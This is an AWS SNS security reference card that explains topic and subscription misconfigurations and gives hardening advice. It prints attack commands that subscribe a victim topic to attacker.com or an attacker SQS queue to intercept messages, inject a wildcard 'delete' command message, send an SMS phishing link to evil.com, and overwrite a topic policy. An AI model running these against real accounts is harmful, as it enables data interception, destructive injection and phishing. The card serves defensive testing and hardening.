Simple Notification Service (SNS) enables pub/sub messaging to Lambda, SQS, HTTP endpoints, email, and SMS. Misconfigured topic policies can lead to data interception and unauthorized notifications.
Topics are logical access points. Publishers send messages to topics. Topic policies control who can publish and subscribe. Messages can be filtered per subscription.
Delivery: Lambda, SQS, HTTP/S, Email, SMS, mobile push, Kinesis Firehose
Subscribers receive messages from topics. Subscriptions require confirmation (except SQS/Lambda). Cross-account subscriptions enable data sharing - and potential abuse.
Protocols: lambda, sqs, http, https, email, email-json, sms, application, firehose
SNS topic policy misconfigurations can allow attackers to subscribe and intercept messages, inject malicious messages, or abuse notification channels for phishing.
aws sns list-topicsaws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:123456789012:my-topicaws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:us-east-1:123456789012:my-topicaws sns get-subscription-attributes --subscription-arn arn:aws:sns:us-east-1:123456789012:my-topic:xxxaws sns get-data-protection-policy --resource-arn arn:aws:sns:us-east-1:123456789012:my-topicTip: If you can add SQS subscriptions, no confirmation is needed - messages flow immediately.
aws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:VICTIM:alerts \
--protocol https \
--notification-endpoint https://attacker.com/captureaws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:VICTIM:data-topic \
--protocol sqs \
--notification-endpoint arn:aws:sqs:us-east-1:ATTACKER:capture-queueaws sns publish \
--topic-arn arn:aws:sns:us-east-1:TARGET:process-queue \
--message '{"action":"delete","target":"*"}' \
--message-attributes '{"Type":{"DataType":"String","StringValue":"Command"}}'aws sns publish \
--phone-number "+1234567890" \
--message "Your AWS account requires verification: https://evil.com/login"aws sns get-topic-attributes \
--topic-arn arn:aws:sns:us-east-1:123456789012:my-topic \
--query 'Attributes.Policy' | jq -r . | jq .aws sns set-topic-attributes \
--topic-arn arn:aws:sns:us-east-1:TARGET:topic \
--attribute-name Policy \
--attribute-value file://permissive-policy.json{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": "*",
"Action": ["SNS:Subscribe", "SNS:Publish"],
"Resource": "arn:aws:sns:us-east-1:123456789012:my-topic"
}]
}Anyone can subscribe and publish - full message interception and injection
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::123456789012:root"},
"Action": ["SNS:Subscribe", "SNS:Publish"],
"Resource": "arn:aws:sns:us-east-1:123456789012:my-topic",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "123456789012"
}
}
}]
}Only same-account principals can interact with the topic
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "*"},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:123456789012:alerts",
"Condition": {
"StringEquals": {
"SNS:Protocol": "sqs"
}
}
}]
}Any account can subscribe SQS queues - no confirmation needed
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {"AWS": "arn:aws:iam::TRUSTED_ACCOUNT:root"},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:123456789012:data-topic",
"Condition": {
"StringEquals": {
"SNS:Protocol": "sqs",
"SNS:Endpoint": "arn:aws:sqs:us-east-1:TRUSTED_ACCOUNT:approved-queue"
}
}
}]
}Only specific account and queue can subscribe
Encrypt messages at rest with KMS.
aws sns set-topic-attributes \
--topic-arn arn:aws:sns:us-east-1:123456789012:my-topic \
--attribute-name KmsMasterKeyId \
--attribute-value alias/sns-keyNever use Principal: * without conditions. Specify accounts and protocols.
Log all SNS publish and subscribe operations for auditing.
Detect and protect sensitive data in messages (PII, credentials).
aws sns put-data-protection-policy \
--resource-arn arn:aws:sns:...:topic \
--data-protection-policy file://policy.jsonReview subscriptions regularly. Remove unknown or suspicious endpoints.
Limit what messages each subscriber receives to reduce exposure.
AWS SNS Security Card • Toc Consulting
Always obtain proper authorization before testing